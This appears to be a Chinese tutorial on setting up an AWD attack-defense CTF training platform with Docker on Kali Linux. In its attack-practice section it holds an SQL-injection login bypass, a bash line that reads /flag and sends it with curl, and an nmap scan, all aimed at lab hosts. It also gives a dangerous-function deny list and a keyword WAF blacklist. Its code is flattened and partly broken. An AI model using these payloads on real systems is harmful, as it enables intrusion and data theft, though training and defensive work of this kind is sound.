新手也能玩转的AWD攻防赛:用Docker在Kali上快速搭建自己的训练平台
从零搭建AWD训练环境DockerKali实战指南第一次参加AWD比赛时我手忙脚乱地连SSH密码都输错了三次。现在回想起来如果当时有个本地训练环境至少能避免那些低级失误。本文将带你用Docker在Kali系统上快速搭建AWD训练平台包含从环境配置到实战演练的完整闭环。1. 环境准备打造高效训练基地Kali Linux作为安全研究的瑞士军刀配合Docker的轻量化容器是搭建AWD训练平台的黄金组合。我的工作机是8核16G配置实测可同时运行5个队伍实例而不卡顿。必备组件清单Kali Linux 2023.4原生支持DockerDocker CE 24.0注意社区版与企业版区别Python 3.10建议使用虚拟环境Git 2.40用于克隆仓库提示运行uname -a确认系统架构x86_64和arm64的镜像不通用配置APT国内源可加速后续操作这是很多新手容易忽略的步骤。编辑源列表文件sudo nano /etc/apt/sources.list替换内容为清华源示例deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib更新软件索引sudo apt update sudo apt upgrade -y常见问题排查表错误现象可能原因解决方案GPG签名失败源配置错误检查URL拼写和发行版代号下载速度慢网络限制尝试不同国内源或代理依赖冲突混合源统一使用同一镜像源2. Docker环境深度配置虽然Kali预装Docker但需要调整三项关键配置内存限制调整 编辑/etc/docker/daemon.json不存在则新建{ default-ulimits: { nofile: { Name: nofile, Hard: 65535, Soft: 65535 } }, storage-driver: overlay2 }重启服务生效sudo systemctl restart docker验证配置docker info | grep -i storage\|files镜像加速配置 国内用户建议配置镜像加速器创建或修改/etc/docker/daemon.json{ registry-mirrors: [ https://registry.docker-cn.com, https://mirror.baidubce.com ] }用户组权限管理 将当前用户加入docker组避免sudo滥用sudo usermod -aG docker $USER newgrp docker # 立即生效测试无sudo运行docker run hello-world3. 部署AWD平台核心组件选用zhl2008/awd-platform项目作为基础其优势在于集成常见Web漏洞环境自带flag自动刷新机制支持多队伍并行对抗克隆仓库建议使用SSH方式git clone gitgithub.com:zhl2008/awd-platform.git cd awd-platform拉取基础镜像约2.7GBdocker pull zhl2008/web_14.04重命名镜像符合项目要求docker tag zhl2008/web_14.04 web_14.04环境验证命令docker images | grep web_14.04 # 应显示REPOSITORY为web_14.044. 比赛环境定制化配置队伍初始化 创建3个队伍的云南简易赛题环境python batch.py web_yunnan_simple 3生成的队伍信息存储在pass.txt格式为team1:root:password1 team2:root:password2 team3:root:password3check机制修改 编辑awd-platform/check_server/check.py关键参数说明class check(): def __init__(self): self.interval 120 # flag刷新间隔(秒) self.debug False # 调试模式开关 def index_check(self): # 首页存活检测逻辑 res http(get, host, port, /, , headers) return Home in res网络拓扑说明 启动后生成的访问方式服务类型队伍1队伍2队伍3Web站点880188028803SSH连接220122022203启动比赛python start.py ./ 35. 实战攻防演练技巧攻击方策略快速指纹识别nmap -sV -T4 192.168.109.128 -p8801-8803漏洞利用示例SQL注入import requests url http://192.168.109.128:8801/login.php payload {username: admin-- , password: any} r requests.post(url, datapayload) print(r.text)Flag提交自动化脚本#!/bin/bash FLAG$(cat /flag) curl http://192.168.109.128:8080/flag_file.php?tokenteam1flag${FLAG}防御方要点立即修改默认凭证删除危险函数// 在php.ini中禁用函数 disable_functions exec,passthru,shell_exec,system部署简易WAF# 检测敏感参数示例 from flask import abort app.before_request def block_injection(): blacklist [union, select, sleep(] if any(word in request.query_string for word in blacklist): abort(403)6. 训练模式进阶方案场景扩展内网渗透添加Docker网络别名docker network create --subnet172.18.0.0/16 awd_net流量分析启用tcpdump抓包docker exec -it team1_container tcpdump -i eth0 -w /tmp/team1.pcap自动化check系统 修改check.py实现动态计分def dynamic_scoring(self): base_score 100 time_factor max(0, 300 - elapsed_seconds) / 300 # 随时间衰减 return int(base_score * time_factor)历史记录分析 使用ELK栈收集日志# docker-compose.yml片段 filebeat: image: docker.elastic.co/beats/filebeat:8.7.0 volumes: - ./logs:/var/log/awd7. 环境维护与优化资源监控命令docker stats --format table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}定期清理策略# 每日凌晨清理无用容器 0 0 * * * docker system prune -f镜像更新方法拉取最新基础镜像创建新tag保持兼容docker pull zhl2008/web_14.04:latest docker tag zhl2008/web_14.04:latest web_14.04训练平台运行三个月后我发现最耗时的其实是漏洞验证环节。后来开发了自动化测试套件将单次训练周期从4小时压缩到90分钟。建议在awd-platform基础上添加自己的漏洞库比如把近期爆发的CVE漏洞POC整合进去这样的训练才更有实战价值。